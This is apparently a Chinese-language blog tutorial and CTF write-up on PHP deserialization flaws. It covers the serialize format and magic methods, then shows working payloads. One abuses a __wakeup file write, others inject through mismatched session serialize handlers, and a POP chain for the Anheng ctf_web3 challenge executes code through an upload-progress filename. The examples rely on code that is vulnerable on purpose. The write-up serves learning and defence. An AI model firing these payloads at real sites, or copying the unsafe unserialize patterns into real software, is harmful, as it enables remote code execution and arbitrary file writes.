1. 基礎
1.1 什么是序列化
序列化是對象串行化,對象是一種在內存中存儲的數據類型,壽命是隨生成該對象的程序的終止而終止,為了持久使用對象的狀態,將其通過serialize()函數進行序列化為一行字符串保存為文件,使用時再用unserialize()反序列化為對象
序列化后的格式:
布爾型
b:value
b:0 //false
b:1 //true
整數型
i:value
i:1
i:-1
字符型
s:length:"value";
s:4:"aaaa";
NULL型
N;
數組
a:<length>:{key, value pairs};
a:1:{i:1;s:1:"a";}
對象
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
1.2 理解php對象常見魔術方法
當對象被創建的時候調用:
__construct
當對象被銷毀的時候調用:
__destruct
當對象被當作一個字符串使用時候調用(不僅僅是echo的時候,比如file_exists()判斷也會觸發):
__toString
序列化對象之前就調用此方法(其返回需要是一個數組):
__sleep
反序列化恢復對象之前就調用此方法:
__wakeup
當調用對象中不存在的方法會自動調用此方法L
__call
ex1:
<?php
class test{
public $varr1="abc";
public $varr2="123";
public function echoP(){
echo $this->varr1."<br>";
}
public function __construct(){
echo "__construct<br>";
}
public function __destruct(){
echo "__destruct<br>";
}
public function __toString(){
return "__toString<br>";
}
public function __sleep(){
echo "__sleep<br>";
return array('varr1','varr2');
}
public function __wakeup(){
echo "__wakeup<br>";
}
}
//實例化一個對象,調用了construct方法,輸出了__construct
$obj = new test();
//調用echoP方法,輸出了abc
$obj->echoP();
//被當字符串輸出,調用了__toString方法,輸出了__toString
echo $obj;
//序列化對象,調用__sleep方法,輸出了__sleep
$s = serialize($obj);
//輸出序列化后的字符串,O:4:"test":2:{s:5:"varr1";s:3:"abc";s:5:"varr2";s:3:"123";}
echo $s;
//反序列化調用__wakeup方法,輸出了__wakeup
//此時的echo又是相當於將對象字符串輸出,於是又調用了__toString
echo unserialize($s);
//腳本結束,即對象將被銷毀,調用__destruct,其中還有一次是反序列化恢復的對象,所以這里是輸出兩次__destruct
?>
1.3 簡單demo漏洞利用
ex2:
<?php
class syclover{
var $member;
var $filename;
function __wakeup(){
$this->save($this->filename,$this->member);
}
public function save($filename,$data){
file_put_contents($filename,$data);
}
}
unserialize($_GET['a']);
?>
url(生成一個文件):
http://192.168.65.131/serialize/save_file.php?a=O:8:"syclover":2:{s:8:"filename";s:12:"/tmp/syc.php";s:6:"member";s:1:"1"}
2. php_session序列化及反序列化問題
2.1 簡介
處理器 | 對應的存儲格式 |
---|---|
php | 鍵名 + 豎線 + 經過 serialize() 函數反序列處理的值 |
php_binary | 鍵名的長度對應的 ASCII 字符 + 鍵名 + 經過 serialize() 函數反序列處理的值 |
php_serialize (php>=5.5.4) |
經過 serialize() 函數反序列處理的數組 |
php提供session.serialize_handler "php" PHP_INI_ALL
可以來設置以上的處理器
測試的時候php版本一定要大於5.5.4(具體版本未測試,不然session寫不進文件)
當存儲是php_serialize處理,然后調用時php去處理
如果這時候注入的數據是a=|O:4:"test":0:{}
那么session中的內容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";}
根據解釋,其中a:1:{s:1:"a";s:16:"
在經過php解析后是被看成鍵名,后面就是一個實例化test對象的注入
ex3:
1. php.ini先設置session.serialize_handler為php_serialize
2. http://192.168.65.133/other/serialize/2.php?a=|O:4:"test":0:{}
3. 刪掉注釋再次訪問
<?php
//ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['a'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
2.2 實際利用
- session.auto_start=On
Q:session.auto_start參數會在腳本執行前會自動注冊Session會話,所以在腳本中設置的php.ini中(序列化處理器\session)相關參數是無效的。
A:先銷毀注冊的session,然后設置處理器,再調用session_start()注冊session
先將php中session.serialize_handler設置為php
ex4:
<?php
if (ini_get('session.auto_start')) {
session_destroy();
}
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
流程:
1、提交鏈接:foo1.php?a=|O:8:"stdClass":0:{}
其中session數據是:a:1:{s:1:"a";s:20:"|O:8:"stdClass":0:{}";}
2、第二次訪問時,php會先按php.ini里設置的序列化處理器反序列化存儲的數據(所以只能注入一些php內置類)
- session.auto_start=Off
當兩個腳本的序列化處理器不同就會有問題出現
ex5:
foo1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
foo2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon{
var $hi;
function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi;
}
}
構造好鏈接:
192.168.65.133/other/serialize/foo1.php?a=|O:5:"lemon":1:{s:2:"hi";s:5:"lemon";}
然后訪問foo2.php,就會執行代碼,輸出hilemon
2.3 安恆ctf_web3
本題是根據2.2中的session.auto_start=Off出的,本地環境搭建時記得設置一下php.ini
session.auto_start=Off
session.serialize_handler=php_serialize
session.upload_progress.cleanup=0ff
當PHP_SESSION_UPLOAD_PROGRESS開時,upload一個文件,文件名會在session里面出現
詳細參考:https://bugs.php.net/bug.php?id=71101
<form action="http://lemon.com/phpinfo.php" method="post"enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit">
</form>
最后構造filename為
|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}
再次訪問index.php就可以看到執行了var_dump(1)的代碼。
當時很疑惑的一個問題是foo2中的__toString
是如何調用的
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>這是foo2的析構函數<br>";
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>這是foo1的析構函數<br>";
}
}
看到foo1中的file_exists函數,它會講對象轉換為字符串,然后判斷這個字符串(文件)是不是存在,所以有進行字符串的轉化這一步,導致toString的調用(感謝p師傅的教導)
代碼下載
3. 總結
本想繼續研究一下一些cve方面的序列化漏洞,無奈現在正是忙其他事的時候。
有很多關於序列化的黑魔法:
https://github.com/80vul/phpcodz
以及p師傅的Joomla遠程代碼執行漏洞分析
http://drops.wooyun.org/papers/11330
都是需要好好學習一波的文章。
4. 本文學習的參考鏈接
http://drops.wooyun.org/papers/4820
http://drops.wooyun.org/tips/3909